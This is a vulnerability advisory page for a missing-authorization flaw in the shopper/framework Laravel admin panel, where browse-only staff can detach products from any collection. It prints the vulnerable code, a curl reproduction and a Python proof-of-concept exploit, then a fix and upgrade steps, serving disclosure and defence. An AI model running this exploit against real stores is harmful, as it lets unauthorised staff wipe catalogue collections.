Loading...
Skip to main content

CVE-2026-56825 — Vulnerability in shopper/framework — CVE Details

HIGH

Shopper: Missing authorization on product removal actions in CollectionProducts component

Published September 11, 2026Updated September 11, 2026Source: osv

Summary

## Title Missing authorization on product removal actions in CollectionProducts component ## Description A lack of authorization control was discovered on both the per-record delete action and the bulk delete action inside `packages/admin/src/Livewire/Components/Collection/CollectionProducts.php`. Neither the `Action::make('delete')` at line 73 nor the `DeleteBulkAction::make()` at line 91 carries an `->authorize(...)` chain. The component also exposes `public Collection $collection` without `#[Locked]`, so the collection ID is mutable in the Livewire wire payload. Any authenticated admin-panel session, including staff who hold only `browse_collections`, can detach individual products or bulk-detach all products from any collection in the database. ## Severity CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High) ## Affected files - `packages/admin/src/Livewire/Components/Collection/CollectionProducts.php:40,73-88,91-105` ```php // Line 40 - client-mutable, no #[Locked] public Collection $collection; // Lines 73-88 - per-record delete action, no ->authorize(...) ->recordActions([ Action::make('delete') ->label(__('shopper::forms.actions.delete')) ->icon(Untitledui::Trash03) ->iconButton() ->color('danger') ->requiresConfirmation() ->action(function (Product $record): void { $this->collection->products()->detach([$record->id]); $this->dispatch('collection.add.product'); Notification::make() ->title(__('shopper::pages/collections.remove_product')) ->success() ->send(); }), ]) // Lines 91-105 - bulk remove action, no ->authorize(...) ->groupedBulkActions([ DeleteBulkAction::make() ->label(__('shopper::forms.actions.delete')) ->icon(Untitledui::Trash03) ->requiresConfirmation() ->action(function (EloquentCollection $records): void { $this->collection->products()->detach($records->pluck('id')->toArray()); $this->dispatch('collection.add.product'); Notification::make() ->title(__('shopper::pages/collections.remove_product')) ->success() ->send(); }) ->deselectRecordsAfterCompletion(), ]) ``` ## Steps to reproduce Prerequisites: any admin-panel account, including one whose role holds only `browse_collections` (no `edit_collections` required). ```bash SESSION="laravel_session=<your_session_value>" XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>" # Step 1: Note the collection ID you wish to empty (e.g., collection_id=5). # Step 2: Call the bulk table action on the CollectionProducts component, # substituting collection ID 5 in the component state. curl -s -X POST http://localhost/shopper/livewire/update \ -H "Content-Type: application/json" \ -H "X-XSRF-TOKEN: $XSRF" \ -H "Cookie: $SESSION" \ -H "X-Livewire: 1" \ -d '{ "components": [{ "snapshot": "{\"id\":\"COLLECTION_PRODUCTS_COMPONENT_ID\",\"data\":{\"collection\":5},\"checksum\":\"...\"}", "updates": {}, "calls": [{ "path": "", "method": "callBulkAction", "params": ["delete", [1, 2, 3, 4, 5]] }] }] }' # Expected: HTTP 200, all listed product IDs detached from collection 5, # regardless of the caller having only browse_collections. ``` ## Proof of concept ```python #!/usr/bin/env python3 """ CollectionProducts authorization bypass PoC. Set these environment variables before running: BASE_URL e.g. http://localhost SESSION_COOKIE value of the laravel_session cookie XSRF_TOKEN URL-decoded value of the XSRF-TOKEN cookie COMPONENT_ID Livewire component snapshot ID (from page source) COLLECTION_ID integer ID of the target collection PRODUCT_IDS comma-separated product IDs to detach (e.g. "1,2,3") """ import json import os import requests base_url = os.environ['BASE_URL'] session = os.environ['SESSION_COOKIE'] xsrf = os.environ['XSRF_TOKEN'] component_id = os.environ['COMPONENT_ID'] collection_id = int(os.environ['COLLECTION_ID']) product_ids = [int(x) for x in os.environ['PRODUCT_IDS'].split(',')] headers = { 'Content-Type': 'application/json', 'Accept': 'text/html, application/xhtml+xml', 'X-XSRF-TOKEN': xsrf, 'Cookie': f'laravel_session={session}', 'X-Livewire': '1', } snapshot = json.dumps({ 'id': component_id, 'data': {'collection': collection_id}, 'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED', }) payload = { 'components': [{ 'snapshot': snapshot, 'updates': {}, 'calls': [{ 'path': '', 'method': 'callBulkAction', 'params': ['delete', product_ids], }] }] } r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload) print(f'Status: {r.status_code}') print(r.text[:500]) ``` ## Impact A staff member holding only `browse_collections` can silently empty any collection by detaching all of its products. Collections drive storefront catalog grouping; removing products from a collection breaks the associated landing pages and promotions for those product groups. Because `$collection` is not locked, the attacker is not limited to the collection they navigated to: they can target any collection ID in the database, including featured promotional collections they have never viewed. ## Suggested fix ```php // packages/admin/src/Livewire/Components/Collection/CollectionProducts.php use Livewire\Attributes\Locked; #[Locked] // prevent client-side ID substitution public Collection $collection; // Per-record action: Action::make('delete') ->authorize('edit_collections') // add this ->action(function (Product $record): void { $this->collection->products()->detach([$record->id]); // ... }), // Bulk action: DeleteBulkAction::make() ->authorize('edit_collections') // add this ->action(function (EloquentCollection $records): void { $this->collection->products()->detach($records->pluck('id')->toArray()); // ... }) ``` ## Credits Reported by Vishal Shukla ([@shukla304](https://github.com/shukla304) / [@therawdev](https://github.com/therawdev)).

Advisory Timeline

  • First published September 11, 2026 (30 days ago).
  • Last revised September 11, 2026 — 0 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Composer
Update shopper/framework to 2.9.2 or later
composer require "shopper/framework:^2.9.2"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: packagist (1).

PackageEcosystemAffectedFixed In
shopper/framework
packagist
v2.0.0, v2.0.0-alpha, v2.0.0-beta, v2.0.0-beta10 (+59 more)2.9.2

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-862
    Missing AuthorizationMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.1 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Frequently Asked Questions

What is CVE-2026-56825?
Shopper: Missing authorization on product removal actions in CollectionProducts component This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.1/10).
How do I check if my project is affected by CVE-2026-56825?
CVE-2026-56825 affects shopper/framework. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-56825 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.1

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-2cg9-97gq-9mqp

Related CVEs

  • CVE-2026-47744
    CRITICAL

    Shopper: Authorization bypass and RBAC privilege escalation in team settings

  • CVE-2026-56827
    HIGH

    Shopper: Authorization bypass in Filament bulk actions allows browse-only staff to mass-delete attributes/tags and mass-toggle visibility of brands/categories/suppliers

  • CVE-2026-56829
    HIGH

    Shopper: Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component

  • CVE-2026-47743
    HIGH

    Shopper: Multiple data integrity and disclosure issues in admin Livewire components

  • CVE-2026-56828
    HIGH

    Shopper: privilege escalation via improper Livewire admin component authorization

  • CVE-2026-65954
    HIGH

    PHPCSUtils: Remote code execution via eval() in AbstractArrayDeclarationSniff::getActualArrayKey()

  • CVE-2026-61825
    HIGH

    code16/sharp has a stored XSS via data-html-content Sanitizer Bypass

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies